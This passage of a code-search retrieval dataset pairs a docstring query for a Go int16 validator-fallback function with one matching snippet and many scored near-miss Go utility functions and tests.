\"/invoke\"\n\t\t\tlog.Debug(\"trying to call \" + targetURL)\n\t\t\tresponse, err := http.Get(targetURL)\n\t\t\treturnedMsg := \"\"\n\t\t\tif err != nil {\n\t\t\t\tlog.Error(err.Error())\n\t\t\t\tlog.Trace(fmt.Sprint(response))\n\t\t\t\treturnedMsg = \"call_error\"\n\t\t\t} else {\n\t\t\t\tdefer response.Body.Close()\n\t\t\t\tlog.Debug(\"response code: \" + strconv.Itoa(response.StatusCode))\n\t\t\t\tvar result map[string]string\n\t\t\t\tjson.NewDecoder(response.Body).Decode(&result)\n\t\t\t\tlog.Trace(\"response : \" + fmt.Sprint(result))\n\t\t\t\treturnedMsg = result[\"stack\"]\n\t\t\t}\n\t\t\tif i == 0 {\n\t\t\t\tstack += \" calls \" + string(returnedMsg)\n\t\t\t} else {\n\t\t\t\tstack += \" then \" + string(returnedMsg)\n\t\t\t}\n\t\t}\n\t}\n\tstack += \" ]\"\n\tmsg := map[string]string{\"stack\": stack}\n\tlog.Info(\"returned stack: \" + stack)\n\tutils.RespondJSON(w, r, 200, msg)\n\tlog.Debug(\"Exiting invoke function\")\n}", "title": "" }, { "docid": "48a56e02fdb04d91b3f847f078437c4a", "score": "0.56044984", "text": "func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\n fmt.Println(\"Invoke running. Function: \" + function)\n\n if function == \"add\" {\n return t.add(stub, args)\n } else if function == \"spend\" {\n return t.spend(stub, args)\n }\n\n return nil, errors.New(\"Received unknown function invocation: \" + function)\n\n\n}", "title": "" } ]
15cfdabe417a6b239c9e6917b419f84e
Int16IfNotMatchFunc returns the value deflt if validator(actual) returns false, otherwise returns actual.
[ { "docid": "8438c1c7a139c149252a22b6a7fb8dc8", "score": "0.89628386", "text": "func Int16IfNotMatchFunc(actual, deflt int16, validator func(int16) bool) int16 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" } ]
[ { "docid": "c6b5eddeb58b89cca547f0771607769e", "score": "0.79706013", "text": "func Int16IfNotMatch(actual, deflt int16, pattern string) int16 {\n\tif evalBool(pattern, float64(actual)) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "edc3bc362df78f9bdf7c9e625ed329fa", "score": "0.75306267", "text": "func Uint16IfNotMatchFunc(actual, deflt uint16, validator func(uint16) bool) uint16 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "3b65f08719a3300e78dabe4a70aa4592", "score": "0.6810725", "text": "func Int8IfNotMatchFunc(actual, deflt int8, validator func(int8) bool) int8 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "23d69ec926f40dca95b01fa659171f0e", "score": "0.65884995", "text": "func Uint16IfNotMatch(actual, deflt uint16, pattern string) uint16 {\n\tif evalBool(pattern, float64(actual)) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "c8083a3025e180f6e31589b315af8247", "score": "0.6582744", "text": "func Int32IfNotMatchFunc(actual, deflt int32, validator func(int32) bool) int32 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "698ccf5b423f226740c24a8c6ff12a89", "score": "0.6534618", "text": "func (b *ValueBinder) MustInt16(sourceParam string, dest *int16) *ValueBinder {\n\treturn b.intValue(sourceParam, dest, 16, true)\n}", "title": "" }, { "docid": "75a66d6c8c40ab0530ebf88beac987f8", "score": "0.6485359", "text": "func IntIfNotMatchFunc(actual, deflt int, validator func(int) bool) int {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "c35457650f89238dbf2bc9dc7460218f", "score": "0.6408588", "text": "func Int64IfNotMatchFunc(actual, deflt int64, validator func(int64) bool) int64 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "fd102d220ea0651e7c8efa125ee9d3eb", "score": "0.6309429", "text": "func TestInt16(t *testing.T) {\n\t// Test success case\n\tvar successId int16\n\terr := v.Validate([]*v.Value{\n\t\t{Result: &successId, Name: \"id\", Input: \"20\"},\n\t})\n\tassert.Nil(t, err)\n\tassert.Equal(t, int16(20), successId)\n\n\t// Test empty case\n\tvar emptyId int16\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &emptyId, Name: \"id\", Input: \"\"},\n\t})\n\tassert.NotNil(t, err)\n\n\t// Test empty case with IsSet rule\n\tvar emptyIsSetId int16\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &emptyIsSetId, Name: \"id\", Input: \"\", Rules: []v.Rule{IsSet}},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, int16(0), emptyIsSetId)\n\n\t// Test overflow case\n\tvar overflowId int16\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &overflowId, Name: \"id\", Input: \"32768\"},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, int16(0), overflowId)\n\n\t// Test string case\n\tvar stringId int16\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &stringId, Name: \"id\", Input: \"Hello World\"},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, int16(0), stringId)\n}", "title": "" }, { "docid": "03b20c76372e9be717100b307e24a03b", "score": "0.61461383", "text": "func Int16(tag string) Validator {\n\treturn varFor(tag, int16(0))\n}", "title": "" }, { "docid": "9f42aa1816556dd8a8791a4cdbc1b404", "score": "0.5889949", "text": "func Int32IfNotMatch(actual, deflt int32, pattern string) int32 {\n\tif evalBool(pattern, float64(actual)) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "41d9dd131912de2de1a83e71db7dac7d", "score": "0.588112", "text": "func Int8IfNotMatch(actual, deflt int8, pattern string) int8 {\n\tif evalBool(pattern, float64(actual)) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "34a7c08af284c9b18644eab00875cc26", "score": "0.5880237", "text": "func (b *ValueBinder) MustUint16(sourceParam string, dest *uint16) *ValueBinder {\n\treturn b.uintValue(sourceParam, dest, 16, true)\n}", "title": "" }, { "docid": "53eb4a66dcc006924b6305a2c877f1b8", "score": "0.5808479", "text": "func Uint32IfNotMatchFunc(actual, deflt uint32, validator func(uint32) bool) uint32 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "21af4258bad2d209549a812112835f82", "score": "0.58008295", "text": "func TestUint16(min, max, value uint16, minExclusive, maxExclusive bool) bool {\n\tmin, max, minExclusive, maxExclusive = MinMaxExclusiveUint16(min, max, minExclusive, maxExclusive)\n\treturn !(value < min || value > max || (maxExclusive && (value == max)) || (minExclusive && (value == min)))\n}", "title": "" }, { "docid": "a330566656a3c9036b726ff55b00404d", "score": "0.5761715", "text": "func TestUint16(t *testing.T) {\n\t// Test success case\n\tvar successId uint16\n\terr := v.Validate([]*v.Value{\n\t\t{Result: &successId, Name: \"id\", Input: \"20\"},\n\t})\n\tassert.Nil(t, err)\n\tassert.Equal(t, uint16(20), successId)\n\n\t// Test empty case\n\tvar emptyId uint16\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &emptyId, Name: \"id\", Input: \"\"},\n\t})\n\tassert.NotNil(t, err)\n\n\t// Test empty case with IsSet rule\n\tvar emptyIsSetId uint16\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &emptyIsSetId, Name: \"id\", Input: \"\", Rules: []v.Rule{IsSet}},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, uint16(0), emptyIsSetId)\n\n\t// Test overflow case\n\tvar overflowId uint16\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &overflowId, Name: \"id\", Input: \"65536\"},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, uint16(0), overflowId)\n\n\t// Test string case\n\tvar stringId uint16\n\terr = v.Validate([]*v.Value{\n\t\t{Result: &stringId, Name: \"id\", Input: \"Hello World\"},\n\t})\n\tassert.NotNil(t, err)\n\tassert.Equal(t, uint16(0), stringId)\n}", "title": "" }, { "docid": "ca4b7f8cc5daf33632d099458d76294d", "score": "0.570098", "text": "func IntIfNotMatch(actual, deflt int, pattern string) int {\n\tif evalBool(pattern, float64(actual)) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "c23f278caa937edc6501ddcd80b44f9c", "score": "0.56824714", "text": "func CalibrateInt16ToInt32Func(b *testing.B, supplier func() int16) {\n\tif !isInt16SupplierCalibrated(supplier) {\n\t\tpanic(\"supplier function not calibrated\")\n\t}\n\tsetInt16ToInt32FuncCalibrated(supplier)\n\tInt16ToInt32Func(b, supplier, dummyInt16ToInt32Func)\n}", "title": "" }, { "docid": "3065ebf85904d48f15d75d2666ab064f", "score": "0.5677816", "text": "func (b *ValueBinder) Int16(sourceParam string, dest *int16) *ValueBinder {\n\treturn b.intValue(sourceParam, dest, 16, false)\n}", "title": "" }, { "docid": "00bd1e8ad8b8bb42d7cb07c3185aa2fa", "score": "0.5620674", "text": "func Min16(val1, val2 int16) int16 {\n\treturn Min(val1, val2)\n}", "title": "" }, { "docid": "d5b57e649912d2205a53fb590222b115", "score": "0.5594175", "text": "func CalibrateUint16ToInt32Func(b *testing.B, supplier func() uint16) {\n\tif !isUint16SupplierCalibrated(supplier) {\n\t\tpanic(\"supplier function not calibrated\")\n\t}\n\tsetUint16ToInt32FuncCalibrated(supplier)\n\tUint16ToInt32Func(b, supplier, dummyUint16ToInt32Func)\n}", "title": "" }, { "docid": "3bbb961a1a03512078f928b8fc573880", "score": "0.55931735", "text": "func Int16(i interface{}, def ...int16) int16 {\n\tvar defV int16 = 0\n\tif len(def) > 0 {\n\t\tdefV = def[0]\n\t}\n\tif i == nil {\n\t\treturn defV\n\t}\n\tif v, ok := i.(int16); ok {\n\t\treturn v\n\t}\n\treturn int16(Int64(i, Int64(defV)))\n}", "title": "" }, { "docid": "2036aa808e2544842e8eb48ca6a6ac41", "score": "0.55418503", "text": "func (opt Int16) UnwrapOrElse(fn func() int16) int16 {\n\tif opt.getHasValue() {\n\t\treturn opt.getValue()\n\t}\n\treturn fn()\n}", "title": "" }, { "docid": "f733062c7639d1bac3a613aaa5d86373", "score": "0.5535879", "text": "func (v RangeUint16) Validate(value uint16) (uint16, error) {\n\treturn ValidateUint16(v.min, v.max, value, v.minExclusive, v.maxExclusive)\n}", "title": "" }, { "docid": "3174f6e697e5a82bb6574bc21d6849ec", "score": "0.55218405", "text": "func ValidateUint16(min, max, value uint16, minExclusive, maxExclusive bool) (uint16, error) {\n\tmin, max, minExclusive, maxExclusive = MinMaxExclusiveUint16(min, max, minExclusive, maxExclusive)\n\tif !TestUint16(min, max, value, minExclusive, maxExclusive) {\n\t\treturn 0, fmt.Errorf(\"%v is outside of range %v\", value, ToStringUint16(min, max, minExclusive, maxExclusive))\n\t}\n\treturn value, nil\n}", "title": "" }, { "docid": "fd127934cf13d621abd95f8a7061f364", "score": "0.55187464", "text": "func MinUint16(x, y uint16) uint16 {\n\tif x > y {\n\t\treturn y\n\t}\n\treturn x\n}", "title": "" }, { "docid": "5ab47cbbc1854cd61be829ac7df29397", "score": "0.55089813", "text": "func Uint64IfNotMatchFunc(actual, deflt uint64, validator func(uint64) bool) uint64 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "4ecc193199ecb6398092d3ac480fc24c", "score": "0.549976", "text": "func Int64IfNotMatch(actual, deflt int64, pattern string) int64 {\n\tif evalBool(pattern, float64(actual)) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "1a1494b4b0950c24e957356e06bc6213", "score": "0.54886293", "text": "func Abs16(val int16) int16 {\n\treturn Abs(val)\n}", "title": "" }, { "docid": "9f6836eeb9e13e1e9a54682a689a7265", "score": "0.54861933", "text": "func Uint8IfNotMatchFunc(actual, deflt uint8, validator func(uint8) bool) uint8 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "e96b66d9358773522adada9bf502eaff", "score": "0.543744", "text": "func test_go_conv(in_test *testing.T) {\n\tvar i int\n\tvar u16 uint16;\n\t\n\ti = 50\n\tu16 = uint16(1)\n\tif (u16 != 50) { in_test.Errorf(\"Invalid unisigned int. Got %d, expected %d \", u16 , i) }\n\t\n\ti = 0\n\tu16 = uint16(1)\n\tif (u16 != 0) { in_test.Errorf(\"Invalid unisigned int. Got %d, expected %d \", u16 , i) }\n\t\n\ti = 65535\n\tu16 = uint16(i)\n\tif (u16 != 65535) { in_test.Errorf(\"Invalid unisigned int. Got %d, expected %d \", u16 , i) }\n\t\n\ti = 65536\n\tu16 = uint16(i)\n\tif (u16 != 0) { in_test.Errorf(\"Invalid unisigned int. Got %d, expected %d \", u16 , 0) }\n\n\ti = -1\n\tu16 = uint16(i)\n\tif (u16 != 65535) { in_test.Errorf(\"Invalid unisigned int. Got %d, expected %d \", u16 , 65535) }\n}", "title": "" }, { "docid": "668f74c5621ba7e64d0d191ee835e385", "score": "0.5431698", "text": "func (v RangeUint16) Test(value uint16) bool {\n\treturn TestUint16(v.min, v.max, value, v.minExclusive, v.maxExclusive)\n}", "title": "" }, { "docid": "d99ad6fc1ae4c838f407fffae8c2ab6b", "score": "0.5422107", "text": "func IntOfInt16(i int16) Int {\n return IntOfInt64(int64(i))\n}", "title": "" }, { "docid": "8ffeac3ce8827cc549de703ba373e14a", "score": "0.5371363", "text": "func (i Int) Int16() int16 {\n return int16(i.impl.Int64())\n}", "title": "" }, { "docid": "99b5c528007ad681aeb49aa1ad5b285d", "score": "0.5345411", "text": "func (opt Int16) UnwrapOrDefault() int16 {\n\tif opt.getHasValue() {\n\t\treturn opt.getValue()\n\t}\n\treturn 0\n}", "title": "" }, { "docid": "a0bc45bf1d654c5ad9e6ce8ec25ea91e", "score": "0.5335599", "text": "func Between16(val, min, max int16) int16 {\n\treturn Between(val, min, max)\n}", "title": "" }, { "docid": "b1323fa448e3319dde1ea9549f594383", "score": "0.5328556", "text": "func GetInt16Value(values url.Values, key string, def int16) int16 {\n\tvalueStr, ok := values[key]\n\tif !ok {\n\t\treturn def\n\t}\n\tv, err := strconv.ParseInt(valueStr[0], 10, 16)\n\tif err != nil {\n\t\treturn def // if not a valid int16, return the default\n\t}\n\treturn int16(v)\n}", "title": "" }, { "docid": "5fd96a270e654bf999b8c7efd99989e6", "score": "0.53284234", "text": "func MinUInt16(a, b uint16) uint16 {\n\tif a < b {\n\t\treturn a\n\t} else {\n\t\treturn b\n\t}\n}", "title": "" }, { "docid": "f7efc6b566958903532e10de71c35bc6", "score": "0.5284252", "text": "func Int16Val(p *int16, o int16) int16 {\n\tif p == nil {\n\t\treturn o\n\t}\n\treturn *p\n}", "title": "" }, { "docid": "42feb3fff6504809f797113bc71b9f34", "score": "0.5280647", "text": "func (b *ValueBinder) MustInt16s(sourceParam string, dest *[]int16) *ValueBinder {\n\treturn b.intsValue(sourceParam, dest, true)\n}", "title": "" }, { "docid": "04ee1c162c7d2c5fda8ad32f57257412", "score": "0.52633125", "text": "func MinU16(val1, val2 uint16) uint16 {\n\treturn Min(val1, val2)\n}", "title": "" }, { "docid": "61d88bcc416938abdc59ba7c7ed6a1ce", "score": "0.5261432", "text": "func UintIfNotMatchFunc(actual, deflt uint, validator func(uint) bool) uint {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "a26874b73fb4ae0661cdcafd2f2f43bb", "score": "0.52479357", "text": "func Int16(value reflect.Value) int16 {\n\treturn value.Interface().(int16)\n}", "title": "" }, { "docid": "2c9ffd90731b83cc1882275f78eadc3e", "score": "0.5242746", "text": "func OverloadUsesF16(overload sem.Overload) bool {\n\tfor _, param := range overload.Parameters {\n\t\tif DeepestElementType(param.Type).Target.GetName() == \"f16\" {\n\t\t\treturn true\n\t\t}\n\t}\n\tif ret := overload.ReturnType; ret != nil {\n\t\tif DeepestElementType(*overload.ReturnType).Target.GetName() == \"f16\" {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "6ed5bec7b8deabff6fda696bfa891993", "score": "0.5238929", "text": "func Float32IfNotMatchFunc(actual, deflt float32, validator func(float32) bool) float32 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "f8866975e5a34439c873092d1375a179", "score": "0.5206798", "text": "func MinMaxExclusiveUint16(min, max uint16, minExclusive, maxExclusive bool) (uint16, uint16, bool, bool) {\n\tif min > max {\n\t\treturn max, min, maxExclusive, minExclusive\n\t}\n\treturn min, max, minExclusive, maxExclusive\n}", "title": "" }, { "docid": "49b31ba020a7df385666294821162dbd", "score": "0.5204906", "text": "func (e *Element) MustGetUInt16() uint16 {\n\tv, err := e.GetUInt16()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn v\n}", "title": "" }, { "docid": "49b31ba020a7df385666294821162dbd", "score": "0.5204906", "text": "func (e *Element) MustGetUInt16() uint16 {\n\tv, err := e.GetUInt16()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn v\n}", "title": "" }, { "docid": "49b31ba020a7df385666294821162dbd", "score": "0.5204906", "text": "func (e *Element) MustGetUInt16() uint16 {\n\tv, err := e.GetUInt16()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn v\n}", "title": "" }, { "docid": "47fe7a0e961c7ab02838147ba7ba7772", "score": "0.51874727", "text": "func Int16Max(a, b int16) int16 {\n\tif a > b {\n\t\treturn a\n\t}\n\treturn b\n}", "title": "" }, { "docid": "9f7ecbfc077f3ae06b6c1675d91cd5de", "score": "0.5180153", "text": "func abs16(n int16) int16 {\n\tif n < 0 {\n\t\treturn -n\n\t}\n\treturn n\n}", "title": "" }, { "docid": "1a0b3ac7b076b690a356bcd93b9c9a71", "score": "0.5161281", "text": "func clampUint16(in int64) uint16 {\n\tif in < 0 {\n\t\treturn 0\n\t}\n\tif in > 65535 {\n\t\treturn 65535\n\t}\n\treturn uint16(in)\n}", "title": "" }, { "docid": "c92091a0fd8fea97898a835121814d50", "score": "0.5158717", "text": "func Int16(v int16) Value {\n\treturn intValue(v)\n}", "title": "" }, { "docid": "480bc01a4a26086cc710e5bbe4d1290c", "score": "0.515326", "text": "func Uint32IfNotMatch(actual, deflt uint32, pattern string) uint32 {\n\tif evalBool(pattern, float64(actual)) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "71739cb9be8d7d7e568988a6454cda56", "score": "0.5144977", "text": "func WrapUint16(min, max, value uint16) uint16 {\n\tmin, max = MinMaxUint16(min, max)\n\tvar maxLessMin = max - min\n\tfor value < min {\n\t\tvalue += maxLessMin\n\t}\n\tfor value >= max {\n\t\tvalue -= maxLessMin\n\t}\n\treturn value\n\t//Original implementation is not working well for unsigned types:\n\t//return ((value-min)%maxLessMin+maxLessMin)%maxLessMin + min\n}", "title": "" }, { "docid": "cc372c88eac6d99034a970b0602e6e74", "score": "0.5121941", "text": "func Integer16() int16 {\n\t// declare a variable anInt of type int16\n\t// and return its default value.\n\t// try other values using math package:\n\t// math.Maxint16\n\t// math.Minint16\n\n\treturn math.MinInt16\n}", "title": "" }, { "docid": "bce42dcbbf2b2a17a06e22e21fb5acc4", "score": "0.5118001", "text": "func (r *MockResult) Int16(i int) int16 {\n\tif r.Contains(i) {\n\t\treturn r.Result[i].(int16)\n\t} else {\n\t\treturn 0\n\t}\n}", "title": "" }, { "docid": "72a7fdd9ce9dabdd70fbfc69af0f674c", "score": "0.5108582", "text": "func DurationIfNotMatchFunc(actual, deflt time.Duration, validator func(time.Duration) bool) time.Duration {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "c86b8ee49fec134e97f3acde083377e7", "score": "0.5103697", "text": "func MinMaxUint16(min, max uint16) (uint16, uint16) {\n\tif min > max {\n\t\treturn max, min\n\t}\n\treturn min, max\n}", "title": "" }, { "docid": "b75e1f9b8fc4e312592861efdbbced79", "score": "0.51006556", "text": "func Int16(key string, value int16) Field {\n\treturn func(e *Event) {\n\t\te.int16(key, value)\n\t}\n}", "title": "" }, { "docid": "c72ea095b1bd88bc44c11e0191432137", "score": "0.50989395", "text": "func Uint16(tag string) Validator {\n\treturn varFor(tag, uint16(0))\n}", "title": "" }, { "docid": "459281ac01169be41d9842a502f480cd", "score": "0.5091576", "text": "func Max16(val1, val2 int16) int16 {\n\treturn Max(val1, val2)\n}", "title": "" }, { "docid": "f5fda539dd0df7153e58f3adb0fc6864", "score": "0.50791276", "text": "func (e *env) Int16(key string, defaultValue ...int16) int16 {\n\tvar dv int16\n\n\tif len(defaultValue) > 0 {\n\t\tdv = defaultValue[0]\n\t}\n\n\tev := e.Get(key)\n\n\tif ev == nil {\n\t\treturn dv\n\t}\n\n\tswitch t := ev.(type) {\n\tcase int64:\n\t\treturn int16(t)\n\tcase uint64:\n\t\treturn int16(t)\n\tcase float64:\n\t\treturn int16(t)\n\tcase string:\n\t\tv, _ := strconv.ParseInt(t, 0, 0)\n\n\t\treturn int16(v)\n\tcase bool:\n\t\tif t {\n\t\t\treturn 1\n\t\t}\n\n\t\treturn 0\n\tdefault:\n\t\treturn 0\n\t}\n}", "title": "" }, { "docid": "de073d4934f91fa9be75e82eb115dc69", "score": "0.50689054", "text": "func SetUInt16Min(min uint16) UInt16Option {\n\treturn func(iOpts *UInt16Options) {\n\t\tiOpts.min = min\n\t}\n}", "title": "" }, { "docid": "ff88ee3686ae3298b494a3fb9db6d8a6", "score": "0.50558174", "text": "func (v RangeUint16) Clamp(value uint16) uint16 {\n\treturn ClampUint16(v.min, v.max, value)\n}", "title": "" }, { "docid": "00ab010ccc74200ef9d942ea0102371d", "score": "0.5050807", "text": "func InitInt16(p *int16, def int16) (done bool) {\n\tif p == nil {\n\t\treturn false\n\t}\n\tif *p == 0 {\n\t\t*p = def\n\t}\n\treturn true\n}", "title": "" }, { "docid": "a56460b3ede180d5b208fb0873efba65", "score": "0.50453514", "text": "func (cfg Configuration) GetInt16(key string, def int16) int16 {\n\treturn int16(cfg.Get(key, def).(int))\n}", "title": "" }, { "docid": "39b7e170dfb6a882b5c09992a311e620", "score": "0.50444365", "text": "func (opt Int16) UnwrapOr(def int16) int16 {\n\tif opt.getHasValue() {\n\t\treturn opt.getValue()\n\t}\n\treturn def\n}", "title": "" }, { "docid": "a416fdf32616d3b8e0bf128e02014d8e", "score": "0.5022087", "text": "func (table *Table) GetInt16MustGet(colName string, rowIndex int) (val int16) {\n\n\tif table == nil {\n\t\tpanic(fmt.Errorf(\"table.%s: table is <nil>\", UtilFuncName()))\n\t}\n\n\tval, err := table.GetInt16(colName, rowIndex)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"table.%s: %v\", UtilFuncName(), err))\n\t}\n\n\treturn val\n}", "title": "" }, { "docid": "1db24df1cebf22370565ddf0f3e3965b", "score": "0.50170684", "text": "func IntOfUint16(i uint16) Int {\n return IntOfUint64(uint64(i))\n}", "title": "" }, { "docid": "094aaac30c0ea2afa89078eeccb692dd", "score": "0.5015462", "text": "func Int16(v int16) *int16 {\n\treturn &v\n}", "title": "" }, { "docid": "f2c9149c64c51de111d5d2e8ada4aae2", "score": "0.5010061", "text": "func MaxUint16(x, y uint16) uint16 {\n\tif x < y {\n\t\treturn y\n\t}\n\treturn x\n}", "title": "" }, { "docid": "a9e56d346c3825bfee2d99e410e0fbbe", "score": "0.49992633", "text": "func (opt Int16) Unwrap() (int16, bool) {\n\treturn opt.getValue(), opt.getHasValue()\n}", "title": "" }, { "docid": "0d2dd7c2abe83a38473c7fbe511cf2f9", "score": "0.49720716", "text": "func MaskCmpltEpi16Mask(k1 x86.Mmask8, a x86.M128i, b x86.M128i) (dst x86.Mmask8) {\n\tpanic(\"not implemented\")\n}", "title": "" }, { "docid": "36c061d29db0b6d6a28472abf6946733", "score": "0.49589178", "text": "func Float64IfNotMatchFunc(actual, deflt float64, validator func(float64) bool) float64 {\n\tif validator(actual) {\n\t\treturn actual\n\t}\n\treturn deflt\n}", "title": "" }, { "docid": "0664e90fc60a646f374746d18a6413e2", "score": "0.49427584", "text": "func TestnEpi16Mask(a x86.M128i, b x86.M128i) (dst x86.Mmask8) {\n\tpanic(\"not implemented\")\n}", "title": "" }, { "docid": "ee1c6548a817ed1796b69df5e7713d32", "score": "0.49387345", "text": "func MaxUint16(a uint16, b uint16) uint16 {\n\tif a > b {\n\t\treturn a\n\t}\n\treturn b\n}", "title": "" }, { "docid": "0a870738ec5b07e08018b964e406dc94", "score": "0.49360946", "text": "func (b *ValueBinder) MustUint16s(sourceParam string, dest *[]uint16) *ValueBinder {\n\treturn b.uintsValue(sourceParam, dest, true)\n}", "title": "" }, { "docid": "ec8333a78f716c20c276457063e0ed0d", "score": "0.4934333", "text": "func TestEpi16Mask(a x86.M128i, b x86.M128i) (dst x86.Mmask8) {\n\tpanic(\"not implemented\")\n}", "title": "" }, { "docid": "2a40a2ff8582de3703890406f8ffd811", "score": "0.49221298", "text": "func ToInt16(i interface{}) (result int16, err error) {\n\tswitch s := i.(type) {\n\tcase int:\n\t\tif s > math.MaxInt16 || s < math.MinInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn int16(s), nil\n\tcase int64:\n\t\tif s > math.MaxInt16 || s < math.MinInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn int16(s), nil\n\tcase int32:\n\t\tif s > math.MaxInt16 || s < math.MinInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn int16(s), nil\n\tcase int16:\n\t\tif s > math.MaxInt16 || s < math.MinInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn s, nil\n\tcase int8:\n\t\treturn int16(s), nil\n\tcase uint:\n\t\treturn int16(s), nil\n\tcase uint64:\n\t\tif s > math.MaxInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn int16(s), nil\n\tcase uint32:\n\t\tif s > math.MaxInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn int16(s), nil\n\tcase uint16:\n\t\tif s > math.MaxInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn int16(s), nil\n\tcase uint8:\n\t\treturn int16(s), nil\n\tcase float64:\n\t\tif s > math.MaxInt16 || s < math.MinInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn int16(s), nil\n\tcase float32:\n\t\tif s > math.MaxInt16 || s < math.MinInt16 {\n\t\t\treturn 0, fmt.Errorf(\"Can't convert to %T. %v overflows %T\", result, s, result)\n\t\t}\n\t\treturn int16(s), nil\n\tcase string:\n\t\tv, err := strconv.ParseInt(s, 0, 0)\n\t\tif err == nil {\n\t\t\treturn int16(v), nil\n\t\t}\n\t\treturn 0, fmt.Errorf(\"unable to cast %#v of type %T to int16\", i, i)\n\tcase bool:\n\t\tif s {\n\t\t\treturn 1, nil\n\t\t}\n\t\treturn 0, nil\n\tcase nil:\n\t\treturn 0, nil\n\tdefault:\n\t\treturn 0, fmt.Errorf(\"unable to cast %#v of type %T to int16\", i, i)\n\t}\n}", "title": "" }, { "docid": "8c1b2293ff10b5c0d6aa9a6422ac4b66", "score": "0.49171445", "text": "func TestGetUint16VarDefault(t *testing.T) {\n\tos.Clearenv()\n\n\tv, err := GetUint16Var(variableName, 12)\n\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif v != 12 {\n\t\tt.Error(\"Variable must contain 12\")\n\t}\n}", "title": "" }, { "docid": "29e33ec76b33a0e7c268625b153e3d64", "score": "0.4889711", "text": "func IsInt16(data map[string]interface{}, keypath string) error {\n\tif v, ok := m.GetOK(data, keypath); ok {\n\t\tif _, ok := v.(int16); !ok {\n\t\t\treturn errors.New(\"must be int16\")\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3f919c98ef3abcb51c18a668f02a8a05", "score": "0.4869887", "text": "func ClampUint16(min, max, value uint16) uint16 {\n\tmin, max = MinMaxUint16(min, max)\n\treturn MaxUint16(min, MinUint16(max, value))\n}", "title": "" }, { "docid": "3e265bb1f8a6592373002fc7eaa6aa5b", "score": "0.48675263", "text": "func (e *Entry) Int16(key string, i int16) *Entry {\n\treturn e.Int64(key, int64(i))\n}", "title": "" }, { "docid": "496197bc803abd125db6ab946e67af3d", "score": "0.4864312", "text": "func Int16(name string, value int16) FieldInt64 {\n\treturn FieldInt64{Name: name, Value: int64(value)}\n}", "title": "" }, { "docid": "a9e45777a95ddedaa37e1de3cf9bda0f", "score": "0.4858715", "text": "func (v *Value) Int16() (int16, error) {\n\tswitch v.getrv().Kind() {\n\tcase reflect.Int8, reflect.Int16:\n\t\treturn int16(v.int()), nil\n\tcase reflect.Uint8:\n\t\treturn int16(v.uint()), nil\n\tcase reflect.Interface, reflect.Ptr:\n\t\treturn (&Value{rv: indirect(v.getrv())}).Int16()\n\tdefault:\n\t\treturn 0, &ErrUnsupportedKind{\"Value.Int16\", v.getrv().Kind()}\n\t}\n}", "title": "" }, { "docid": 